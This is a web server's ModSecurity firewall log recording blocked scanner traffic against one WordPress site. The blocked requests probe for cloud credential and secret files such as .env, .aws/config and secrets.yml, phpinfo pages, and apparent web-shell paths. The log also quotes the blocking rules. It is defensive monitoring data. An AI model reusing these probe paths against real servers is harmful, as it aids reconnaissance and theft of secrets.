[Sat Dec 06 10:41:27.640925 2025] [:error] [pid 35591:tid 35607] [client 3.129.44.179:33414] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tokens.json"] [unique_id "aTOX14bmw-7bFvTxc9PKVQAAAQ4"]
[Sat Dec 06 10:41:28.584428 2025] [:error] [pid 48399:tid 48405] [client 3.129.44.179:33424] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/keys.json"] [unique_id "aTOX2OjNPOrIshd8Ewd0rAAAAcQ"]
[Sat Dec 06 10:41:29.514384 2025] [:error] [pid 61215:tid 61238] [client 3.129.44.179:33428] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/credentials.json"] [unique_id "aTOX2eOOZ8nTCBYuI-wCcwAAABM"]
[Sat Dec 06 10:41:30.346273 2025] [:error] [pid 35591:tid 35595] [client 3.129.44.179:33438] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.api_keys"] [unique_id "aTOX2obmw-7bFvTxc9PKVwAAAQI"]
[Sat Dec 06 10:41:31.180323 2025] [:error] [pid 61217:tid 61292] [client 3.129.44.179:33444] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apikeys.json"] [unique_id "aTOX21dSKQYfLI3fYo4_4wAAAJM"]
[Sat Dec 06 10:41:32.041333 2025] [:error] [pid 61303:tid 61318] [client 3.129.44.179:60974] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api_keys.json"] [unique_id "aTOX3NwK_fe00OH7zy4zyAAAAMw"]
[Sat Dec 06 10:41:33.090953 2025] [:error] [pid 61303:tid 61327] [client 3.129.44.179:60976] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.yml"] [unique_id "aTOX3dwK_fe00OH7zy4zygAAANQ"]
[Sat Dec 06 10:41:34.188122 2025] [:error] [pid 61217:tid 61274] [client 3.129.44.179:60990] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.json"] [unique_id "aTOX3ldSKQYfLI3fYo4_5QAAAIE"]
[Sat Dec 06 10:41:35.230593 2025] [:error] [pid 35622:tid 35651] [client 3.129.44.179:32774] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.azure/credentials"] [unique_id "aTOX3yOSP_9DVLgFwI56TQAAAYA"]
[Sat Dec 06 10:41:36.413676 2025] [:error] [pid 1838:tid 1864] [client 3.129.44.179:32776] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/azure.json"] [unique_id "aTOX4C5zgnu67Yo7vrZ6mQAAApI"]
[Sat Dec 06 10:41:37.650139 2025] [:error] [pid 61216:tid 61256] [client 3.129.44.179:32788] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gcp-credentials.json"] [unique_id "aTOX4THlXXVdP5ewviWxKwAAAEo"]
[Sat Dec 06 10:41:38.817729 2025] [:error] [pid 1838:tid 1860] [client 3.129.44.179:32800] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.gcloud/credentials"] [unique_id "aTOX4i5zgnu67Yo7vrZ6rQAAAo4"]
[Sat Dec 06 10:41:40.038796 2025] [:error] [pid 61215:tid 61223] [client 3.129.44.179:32808] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3.yml"] [unique_id "aTOX5OOOZ8nTCBYuI-wCewAAAAQ"]
[Sat Dec 06 10:41:41.184444 2025] [:error] [pid 1838:tid 1852] [client 3.129.44.179:32822] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.s3cfg"] [unique_id "aTOX5S5zgnu67Yo7vrZ6sQAAAoY"]
[Sat Dec 06 10:41:42.380321 2025] [:error] [pid 1838:tid 1869] [client 3.129.44.179:58830] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/config"] [unique_id "aTOX5i5zgnu67Yo7vrZ6swAAApc"]
[Sat Dec 06 10:41:43.661711 2025] [:error] [pid 52809:tid 52828] [client 3.129.44.179:58842] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.2"] [unique_id "aTOX5-rRwgsmpIJQ2qYlpwAAAhE"]
[Sat Dec 06 10:41:44.978288 2025] [:error] [pid 35622:tid 35661] [client 3.129.44.179:58858] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aTOX6COSP_9DVLgFwI56VQAAAYo"]
[Sat Dec 06 10:41:46.361029 2025] [:error] [pid 35591:tid 35593] [client 3.129.44.179:58868] [client 3.129.44.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "aTOX6obmw-7bFvTxc9PKeQAAAQA"]
[Sat Dec 06 10:41:47.651203 2025] [:error] [pid 61217:tid 61280] [client 3.129.44.179:58884] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/testphp.php"] [unique_id "aTOX61dSKQYfLI3fYo5ACQAAAIc"]
[Sat Dec 06 10:41:48.965212 2025] [:error] [pid 1727:tid 1741] [client 3.129.44.179:58894] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/infophp.php"] [unique_id "aTOX7MD83luYT37-ZaW87wAAAkw"]
[Sat Dec 06 10:41:50.305505 2025] [:error] [pid 61216:tid 61251] [client 3.129.44.179:58900] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php-info.php"] [unique_id "aTOX7jHlXXVdP5ewviWxMQAAAEU"]
[Sat Dec 06 10:42:29.390988 2025] [:error] [pid 52809:tid 52829] [client 3.129.44.179:45660] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aTOYFerRwgsmpIJQ2qYlygAAAhI"]
[Sat Dec 06 10:42:30.274452 2025] [:error] [pid 35591:tid 35612] [client 3.129.44.179:45672] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info3.php"] [unique_id "aTOYFobmw-7bFvTxc9PKkQAAARM"]
[Sat Dec 06 10:42:31.171925 2025] [:error] [pid 35591:tid 35616] [client 3.129.44.179:45684] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info2.php"] [unique_id "aTOYF4bmw-7bFvTxc9PKkgAAARc"]
[Sat Dec 06 10:42:32.047285 2025] [:error] [pid 1838:tid 1854] [client 3.129.44.179:40854] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info1.php"] [unique_id "aTOYGC5zgnu67Yo7vrZ60QAAAog"]
[Sat Dec 06 10:42:32.948617 2025] [:error] [pid 35591:tid 35614] [client 3.129.44.179:40858] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_info.php"] [unique_id "aTOYGIbmw-7bFvTxc9PKkwAAARU"]
[Sat Dec 06 10:42:33.817611 2025] [:error] [pid 52809:tid 52817] [client 3.129.44.179:40874] [client 3.129.44.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php_version.php"] [unique_id "aTOYGerRwgsmpIJQ2qYlzgAAAgY"]
[Sat Dec 06 12:16:18.275198 2025] [:error] [pid 52809:tid 52833] [client 180.102.134.69:54382] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTOuEurRwgsmpIJQ2qYxkgAAAhY"]
[Sat Dec 06 14:52:32.204013 2025] [:error] [pid 35622:tid 35663] [client 52.167.144.203:38781] [client 52.167.144.203] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aTPSsCOSP_9DVLgFwI6WHQAAAYw"]
[Sat Dec 06 18:28:24.501310 2025] [:error] [pid 61216:tid 61254] [client 4.147.185.30:7116] [client 4.147.185.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.147.185.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTQFSDHlXXVdP5ewviUMrwAAAEg"]
[Sat Dec 06 18:28:44.135627 2025] [:error] [pid 1838:tid 1851] [client 4.147.185.30:7128] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aTQFXC5zgnu67Yo7vrb1BgAAAoU"]
[Sat Dec 06 18:28:44.930144 2025] [:error] [pid 35591:tid 35597] [client 4.147.185.30:7116] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aTQFXIbmw-7bFvTxc9MJ8wAAAQQ"]
[Sat Dec 06 18:28:46.067999 2025] [:error] [pid 61216:tid 61248] [client 4.147.185.30:7051] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aTQFXjHlXXVdP5ewviUMwAAAAEI"]
[Sat Dec 06 18:28:47.897029 2025] [:error] [pid 61216:tid 61265] [client 4.147.185.30:7129] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aTQFXzHlXXVdP5ewviUMwQAAAFM"]
[Sat Dec 06 18:28:50.430989 2025] [:error] [pid 61215:tid 61219] [client 4.147.185.30:7136] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTQFYuOOZ8nTCBYuI-w9sAAAAAA"]
[Sat Dec 06 18:28:52.581470 2025] [:error] [pid 61215:tid 61239] [client 4.147.185.30:7163] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTQFZOOOZ8nTCBYuI-w9sgAAABQ"]
[Sat Dec 06 18:28:58.969610 2025] [:error] [pid 61303:tid 61308] [client 4.147.185.30:7151] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTQFatwK_fe00OH7zy6FXQAAAMI"]
[Sat Dec 06 18:29:00.382879 2025] [:error] [pid 1727:tid 1739] [client 4.147.185.30:7114] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aTQFbMD83luYT37-ZaX9kwAAAko"]
[Sat Dec 06 18:29:04.496040 2025] [:error] [pid 61215:tid 61223] [client 4.147.185.30:7093] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aTQFcOOOZ8nTCBYuI-w9twAAAAQ"]
[Sat Dec 06 18:29:15.849147 2025] [:error] [pid 52809:tid 52831] [client 4.147.185.30:7110] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/coffee/index.php"] [unique_id "aTQFe-rRwgsmpIJQ2qZsJwAAAhQ"]
[Sat Dec 06 18:29:16.246292 2025] [:error] [pid 61216:tid 61269] [client 4.147.185.30:7115] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/coffee/index.php"] [unique_id "aTQFfDHlXXVdP5ewviUM2QAAAFc"]
[Sat Dec 06 18:29:18.710507 2025] [:error] [pid 1838:tid 1850] [client 4.147.185.30:7145] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/coffee/index.php"] [unique_id "aTQFfi5zgnu67Yo7vrb1IgAAAoQ"]
[Sat Dec 06 18:29:21.359192 2025] [:error] [pid 1838:tid 1858] [client 4.147.185.30:7123] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aTQFgS5zgnu67Yo7vrb1JQAAAow"]
[Sat Dec 06 18:29:21.886520 2025] [:error] [pid 1838:tid 1847] [client 4.147.185.30:7147] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aTQFgS5zgnu67Yo7vrb1JwAAAoE"]
[Sat Dec 06 18:29:24.229426 2025] [:error] [pid 61303:tid 61308] [client 4.147.185.30:7138] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aTQFhNwK_fe00OH7zy6FZgAAAMI"]
[Sat Dec 06 18:29:27.155477 2025] [:error] [pid 61303:tid 61327] [client 4.147.185.30:7157] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aTQFh9wK_fe00OH7zy6FbAAAANQ"]
[Sat Dec 06 18:29:30.391802 2025] [:error] [pid 61215:tid 61235] [client 4.147.185.30:7121] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/upload/css.php"] [unique_id "aTQFiuOOZ8nTCBYuI-w9xAAAABA"]
[Sat Dec 06 18:29:30.852525 2025] [:error] [pid 35591:tid 35608] [client 4.147.185.30:7164] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/upload/css.php"] [unique_id "aTQFiobmw-7bFvTxc9MKBgAAAQ8"]
[Sat Dec 06 18:29:32.635054 2025] [:error] [pid 1838:tid 1857] [client 4.147.185.30:7143] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/upload/css.php"] [unique_id "aTQFjC5zgnu67Yo7vrb1NAAAAos"]
[Sat Dec 06 18:29:32.898670 2025] [:error] [pid 1838:tid 1866] [client 4.147.185.30:7134] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/upload/css.php"] [unique_id "aTQFjC5zgnu67Yo7vrb1NwAAApQ"]
[Sat Dec 06 18:29:35.817633 2025] [:error] [pid 1727:tid 1738] [client 4.147.185.30:7159] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aTQFj8D83luYT37-ZaX9owAAAkk"]
[Sat Dec 06 18:29:37.884658 2025] [:error] [pid 61303:tid 61331] [client 4.147.185.30:7054] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aTQFkdwK_fe00OH7zy6FdwAAANg"]
[Sat Dec 06 18:29:41.958025 2025] [:error] [pid 61303:tid 61325] [client 4.147.185.30:7113] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/license.php"] [unique_id "aTQFldwK_fe00OH7zy6FegAAANI"]
[Sat Dec 06 18:30:00.777869 2025] [:error] [pid 1727:tid 1734] [client 4.147.185.30:7056] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aTQFqMD83luYT37-ZaX9sgAAAkU"]
[Sat Dec 06 18:30:30.250751 2025] [:error] [pid 61303:tid 61327] [client 4.147.185.30:7069] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-signup.php"] [unique_id "aTQFxtwK_fe00OH7zy6F6AAAANQ"]
